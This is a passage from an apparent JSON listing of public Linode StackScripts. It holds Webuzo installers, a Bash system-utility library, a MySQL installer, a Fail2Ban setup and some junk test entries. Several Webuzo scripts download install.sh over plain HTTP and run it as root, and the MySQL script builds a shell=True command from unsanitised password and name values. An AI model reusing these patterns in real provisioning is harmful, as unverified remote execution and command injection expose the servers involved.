"2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash''\n#linode-cli linodes reboot $half5064", "user_defined_fields": []}, {"id": 9225, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "XCloner powered by Webuzo", "description": "XCloner is a professional website Backup and Restore application designed to allow you to create safe complete backups of any PHP/Mysql website and to be able to restore them anywhere. It works as a native Joomla backup component, as a native Wordpress backup plugin and also as standalone PHP/Mysql backup application. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure XCloner and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "XCloner powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install XCloner and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About XCloner :\n# XCloner is a professional website Backup and Restore application designed to allow you to create \n# safe complete backups of any PHP/Mysql website and to be able to restore them anywhere.\n# It works as a native Joomla backup component, as a native Wordpress backup plugin and also \n# as standalone PHP/Mysql backup application.\n###########################################################################################################\n\n# Install XCloner Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=458&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling XCloner and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, XCloner has been successfully installed\"\necho \" \"\necho \"You can now configure XCloner and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 83465, "username": "janelle_estelle", "user_gravatar_id": "58c5b6b3e7c996de84adf9c177085ae5", "label": "Stack", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu16.04lts"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n# \n# \n# \n# \n\n\nsource \n\nsystem_update\npostfix_install_loopback_only\nmysql_install \"$DB_PASSWORD\" && mysql_tune 40\nmysql_create_database \"$DB_PASSWORD\" \"$DB_NAME\"\nmysql_create_user \"$DB_PASSWORD\" \"$DB_USER\" \"$DB_USER_PASSWORD\"\nmysql_grant_user \"$DB_PASSWORD\" \"$DB_USER\" \"$DB_NAME\"\nphp_install_with_apache && php_tune\napache_install && apache_tune 40 && apache_virtualhost_from_rdns\ngoodstuff\nrestartServices", "user_defined_fields": [{"name": "db_password", "label": "MySQL root Password"}, {"name": "db_name", "label": "Create Database", "default": "", "example": "Optionally create this database"}, {"name": "db_user", "label": "Create MySQL User", "default": "", "example": "Optionally create this user"}, {"name": "db_user_password", "label": "MySQL User''s Password", "default": "", "example": "User''s password"}]}, {"id": 978953, "username": "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", "label": "admin", "description": "fghtdyjt", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu16.04lts", "linode/centos8", "linode/debian9-kube-v1.22.2", "linode/debian11-kube-v1.21.9", "linode/alpine3.15"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "ree", "script": "#!/bin/bash\n\ndthfjuffyki", "user_defined_fields": []}, {"id": 9226, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Gallery 2 powered by Webuzo", "description": "Gallery is an open source web based photo album organizer. Gallery gives you an intuitive way to blend photo management seamlessly into your own website whether you''re running a small personal site or a large community site.\r\n\r\nServing millions worldwide, the Gallery project is the most widely used system of its kind. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Gallery 2 and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Gallery 2 powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Gallery 2 and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Gallery 2 :\n# Gallery is an open source web based photo album organizer.\n# Gallery gives you an intuitive way to blend photo management seamlessly into your own website \n# whether you''re running a small personal site or a large community site.\n# Serving millions worldwide, the Gallery project is the most widely used system of its kind. \n###########################################################################################################\n\n# Install Gallery 2 Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=383&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Gallery 2 and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Gallery 2 has been successfully installed\"\necho \" \"\necho \"You can now configure Gallery 2 and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1119243, "username": "cecillysander", "user_gravatar_id": "b18e5b184afa0a761c23041172947c74", "label": "nono", "description": "nono", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu20.04"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\r\necho &quot;hello&quot;\r\n", "user_defined_fields": []}, {"id": 9227, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Eventum powered by Webuzo", "description": "Eventum is a user-friendly and flexible issue tracking system that can be used by a support department to track incoming technical support requests, or by a software development team to quickly organize tasks and bugs.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Eventum and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Eventum powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Eventum and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Eventum :\n# Eventum is a user-friendly and flexible issue tracking system that can be used by a support \n# department to track incoming technical support requests, or by a software development team to quickly\n# organize tasks and bugs.\n###########################################################################################################\n\n# Install Eventum Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=394&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Eventum and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Eventum has been successfully installed\"\necho \" \"\necho \"You can now configure Eventum and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1010699, "username": "manojserver", "user_gravatar_id": "11b2d04632b07576576c4cc464c99ddf", "label": "test", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu21.10"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\n\n# \n# \n# \n# \n\n", "user_defined_fields": [{"name": "company_name", "label": "Company Name", "example": "My Company"}, {"name": "company_email", "label": "Company Email", "example": "my@company.com"}, {"name": "admin_email", "label": "Admin Email", "example": "my@company.com"}, {"name": "admin_password", "label": "Admin Password", "example": "s3cur39a55w0r0"}]}, {"id": 1280267, "username": "andrewmohawk", "user_gravatar_id": "c4a1738bcfba73859d7582676372dc1c", "label": "thisisjustatest", "description": "test", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu20.04"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\necho \"Hello world\"", "user_defined_fields": []}, {"id": 73228, "username": "rizerapp", "user_gravatar_id": "dc70e4f46019425154b0a652de0657da", "label": "lib-system-ubuntu", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts", "linode/ubuntu16.04lts", "linode/ubuntu16.10"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n#\n# System related utilities\n#\n# Copyright (c) 2010 Filip Wasilewski .\n#\n# My ref: http://www.linode.com/?r=aadfce9845055011e00f0c6c9a5c01158c452deb\n\nfunction lower {\n # helper function\n echo $1 | tr ''[:upper:]'' ''[:lower:]''\n}\n\nfunction system_update {\n apt-get update && apt-get upgrade -y\n}\n\nfunction system_add_user {\n # system_add_user(username, password, groups, shell=/bin/bash)\n USERNAME=`lower $1`\n PASSWORD=$2\n SUDO_GROUP=$3\n SHELL=$4\n if [ -z \"$4\" ]; then\n SHELL=\"/bin/bash\"\n fi\n useradd --create-home --shell \"$SHELL\" --user-group --groups \"$SUDO_GROUP\" \"$USERNAME\"\n echo \"$USERNAME:$PASSWORD\" | chpasswd\n}\n\nfunction system_add_system_user {\n # system_add_system_user(username, home, shell=/bin/bash)\n USERNAME=`lower $1`\n HOME_DIR=$2\n SHELL=$3\n if [ -z \"$3\" ]; then\n SHELL=\"/bin/bash\"\n fi\n useradd --system --create-home --home-dir \"$HOME_DIR\" --shell \"$SHELL\" --user-group $USERNAME\n}\n\nfunction system_lock_user {\n # system_lock_user(username)\n passwd -l \"$1\"\n}\n\nfunction system_get_user_home {\n # system_get_user_home(username)\n cat /etc/passwd | grep \"^$1:\" | cut --delimiter=\":\" -f6\n}\n\nfunction system_user_add_ssh_key {\n # system_user_add_ssh_key(username, ssh_key)\n USERNAME=`lower $1`\n USER_HOME=`system_get_user_home \"$USERNAME\"`\n sudo -u \"$USERNAME\" mkdir \"$USER_HOME/.ssh\"\n sudo -u \"$USERNAME\" touch \"$USER_HOME/.ssh/authorized_keys\"\n sudo -u \"$USERNAME\" echo \"$2\" >> \"$USER_HOME/.ssh/authorized_keys\"\n chmod 0600 \"$USER_HOME/.ssh/authorized_keys\"\n}\n\nfunction system_sshd_edit_bool {\n # system_sshd_edit_bool (param_name, \"Yes\"|\"No\")\n VALUE=`lower $2`\n if [ \"$VALUE\" == \"yes\" ] || [ \"$VALUE\" == \"no\" ]; then\n sed -i \"s/^#*\\($1\\).*/\\1 $VALUE/\" /etc/ssh/sshd_config\n fi\n}\n\nfunction system_sshd_permitrootlogin {\n system_sshd_edit_bool \"PermitRootLogin\" \"$1\"\n}\n\nfunction system_sshd_passwordauthentication {\n system_sshd_edit_bool \"PasswordAuthentication\" \"$1\"\n}\n\nfunction system_update_hostname {\n # system_update_hostname(system hostname)\n if [ -z \"$1\" ]; then\n echo \"system_update_hostname() requires the system hostname as its first argument\"\n return 1;\n fi\n echo $1 > /etc/hostname\n hostname -F /etc/hostname\n echo -e \"\\n127.0.0.1 $1 $1.local\\n\" >> /etc/hosts\n}\n\nfunction system_security_logcheck {\n aptitude -y install logcheck logcheck-database\n # configure email\n # start after setup\n}\n\nfunction system_security_fail2ban {\n aptitude -y install fail2ban\n}\n\nfunction system_security_ufw_configure_basic {\n # see https://help.ubuntu.com/community/UFW\n ufw logging on\n\n ufw default deny\n\n ufw allow ssh/tcp\n ufw limit ssh/tcp\n\n ufw allow http/tcp\n ufw allow https/tcp\n\n ufw enable\n}\n\nfunction system_configure_private_network {\n # system_configure_private_network(private_ip)\n PRIVATE_IP=$1\n NETMASK=\"255.255.128.0\"\n cat >>/etc/network/interfaces <\n\n###########################################################################################################\n# Install Magento 1.7 and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Magento 1.7 :\n# Magento is an Open Source ecommerce web application launched on March 31, 2008.\n# It was created by Varien, building on components of the Zend Framework.\n###########################################################################################################\n\n# Install Magento 1.7 Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=465&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Magento 1.7 and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Magento 1.7 has been successfully installed\"\necho \" \"\necho \"You can now configure Magento 1.7 and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 978956, "username": "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", "label": "Test", "description": "Test", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.12", "linode/alpine3.15"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Revision Note", "script": "#!/bin/bash\nteffryt", "user_defined_fields": []}, {"id": 9229, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "SVNManager powered by Webuzo", "description": "SVNManager is a PHP web based tool to administer a Apache Subversion repository server. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure SVNManager and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "SVNManager powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install SVNManager and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About SVNManager :\n# SVNManager is a PHP web based tool to administer a Apache Subversion repository server. \n###########################################################################################################\n\n# Install SVNManager Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=380&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling SVNManager and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, SVNManager has been successfully installed\"\necho \" \"\necho \"You can now configure SVNManager and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1193741, "username": "jrzavaschi1992", "user_gravatar_id": "6c0262d5482846284b510b579df19fdd", "label": "MySQL", "description": "Install MySQL or MariaDB to a Linode. Can also be used as a library for other StackScripts.", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts", "linode/centos7", "linode/debian8", "linode/fedora22"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import.", "script": "#!/usr/bin/env python\n\n\"\"\"\nMySQL StackScript\n\t\n\tAuthor: Ricardo N Feliciano \n\tVersion: 1.0.0.0\n\tRequirements:\n\t\t- ss://linode/python-library \n\nThis StackScript both deploys and provides a library for MySQL. The functions \nin this StackScript are designed to be run across the Linode Core Distributions:\n\t- Ubuntu\n\t- CentOS\n\t- Debian\n\t- Fedora\n\nStackScript User Defined Variables:\n\n\n\"\"\"\n\nimport os\nimport subprocess\nimport sys\n\ntry: # we''ll need to rename included StackScripts before we can import them\n\tos.rename(\"/root/ssinclude-3\", \"/root/pythonlib.py\")\nexcept:\n\tpass\n\nimport pythonlib\n\n\ndef mysql_install(root_pw = False, db_name = False):\n\t\"\"\"Install MySQL or MariaDB\"\"\"\n\t# add logging support\n\n\tpackage = {\n\t\t''debian'': ''mysql'',\n\t\t''redhat'': ''mariadb''\n\t}\n\n\tpythonlib.system_package_install(package[pythonlib.distro[''family'']] +\n\t\"-server\")\n\t\n\tmysql_start()\n\n\t# if provided with a root password, set it\n\tif root_pw :\n\t\tsubprocess.call([''mysqladmin'', ''-u'', ''root'', ''password'', root_pw])\n\t\n\t# if a database name was provided, let''s create it\n\tif db_name :\n\t\tsubprocess.call(''mysql -uroot -p'' + root_pw + '' -e \"create database '' + db_name + ''\"'', shell=True)\n\n\ndef mysql_start():\n\t\"\"\"Start MariaDB on CentOS and Fedora\"\"\"\n\n\tif pythonlib.distro[''family''] == \"redhat\":\n\t\tsubprocess.call([''systemctl'', ''start'', ''mariadb.service''])\n\n\ndef main():\n\t\"\"\"Install MySQL or MariaDB\"\"\"\n\t# add logging support\n\t\n\tpythonlib.init()\n\tpythonlib.system_update()\n\n\tif os.environ[''DB_ROOT_PASSWORD''] != \"\":\n\t\tmysql_install(os.environ[''DB_ROOT_PASSWORD''])\n\telse:\n\t\tmysql_install()\n\n\tpythonlib.end()\n\n\nif __name__ == \"__main__\":\n\tsys.exit(main())", "user_defined_fields": [{"name": "db_root_password", "label": "MySQL/MariaDB root password", "default": ""}]}, {"id": 9230, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Vty powered by Webuzo", "description": "Vty is a web-based database manager script written with Php. It''s for Mysql.\r\n\r\nYou can connect to Mysql and see and edit your databases and tables. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Vty and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Vty powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Vty and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Vty :\n# Vty is a web-based database manager script written with Php. It''s for Mysql.\n# You can connect to Mysql and see and edit your databases and tables. \n###########################################################################################################\n\n# Install Vty Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=327&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Vty and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Vty has been successfully installed\"\necho \" \"\necho \"You can now configure Vty and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 575759, "username": "jfeinbaum", "user_gravatar_id": "b5810c3cbafb05a4d8a19e3a11e37ab3", "label": "dingdong", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.10"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\n# This block defines the variables the user of the script needs to input\n# when deploying using this script.\n#\n#\n#\n# HOSTNAME=\n#\n#\n# FQDN=\n\n# This sets the variable $IPADDR to the IP address the new Linode receives.\nIPADDR=$(/sbin/ifconfig eth0 | awk ''/inet / { print $2 }'' | sed ''s/addr://'')\n\n# This updates the packages on the system from the distribution repositories.\napt-get update\napt-get upgrade -y\n\n# This section sets the hostname.\necho $HOSTNAME > /etc/hostname\nhostname -F /etc/hostname\n\n# This section sets the Fully Qualified Domain Name (FQDN) in the hosts file.\necho $IPADDR $FQDN $HOSTNAME >> /etc/hosts", "user_defined_fields": [{"name": "hostname", "label": "The hostname for the new Linode."}, {"name": "fqdn", "label": "The new Linode''s Fully Qualified Domain Name"}]}, {"id": 712720, "username": "aleksd2000", "user_gravatar_id": "a22bad2fb913c1cd5d89fab0d03de7ee", "label": "Fail2Ban Server", "description": "Fail2Ban Server Setup\n\nFail2Ban is an intrusion prevention software framework that protects computer servers from brute-force attacks. Written in the Python programming language, it is able to run on POSIX systems that have an interface to a packet-control system or firewall installed locally, for example, iptables or TCP Wrapper\n\nThis script installs the Fail2Ban application and creates two \"Jails\" one for SSH, and the other for SSHD.\n\nI hope people find this useful.", "ordinal": 0, "logo_url": "", "images": ["linode/debian8", "linode/debian9", "linode/debian10"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Added support for Debian 8 and 9, and added default jail.local file", "script": "#!/bin/bash\n\n# Updating APT Database\napt-get update\n# Taking care of an initial upgrade\napt-get -y upgrade\n\n# Installing Fail2Ban Server\napt-get -y install fail2ban\n\n# Creating initial Jail.local File\ncat < /etc/fail2ban/jail.local\n\n# Default banning action (e.g. iptables, iptables-new,\n# iptables-multiport, shorewall, etc) It is used to define\n# action_* variables. Can be overridden globally or per\n# section within jail.local file\n\n#banaction = ufw\n#banaction_allports = ufw\n\n[ssh]\n\nenabled = true\nport = ssh\nfilter = sshd\nlogpath = /var/log/auth.log\nmaxretry = 1\nfindtime = 1d\nbantime = 1y\n\n[sshd]\nenabled = true\nmaxretry = 1\nfindtime = 1d\nbantime = 1y\n\nEOF\n\nsystemctl reload fail2ban", "user_defined_fields": []}, {"id": 9233, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Plandora powered by Webuzo", "description": "Plandora project was born to be a tool to help the software development process, from the customer requirement until the task conclusion, and consequently gather the \"history\" of project.\r\nThe Plandora system can be useful for teams that have problems with resource bottle-necks, parallel projects, critical dead lines, necessity for scope documentation of tasks and requirements, etc. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, 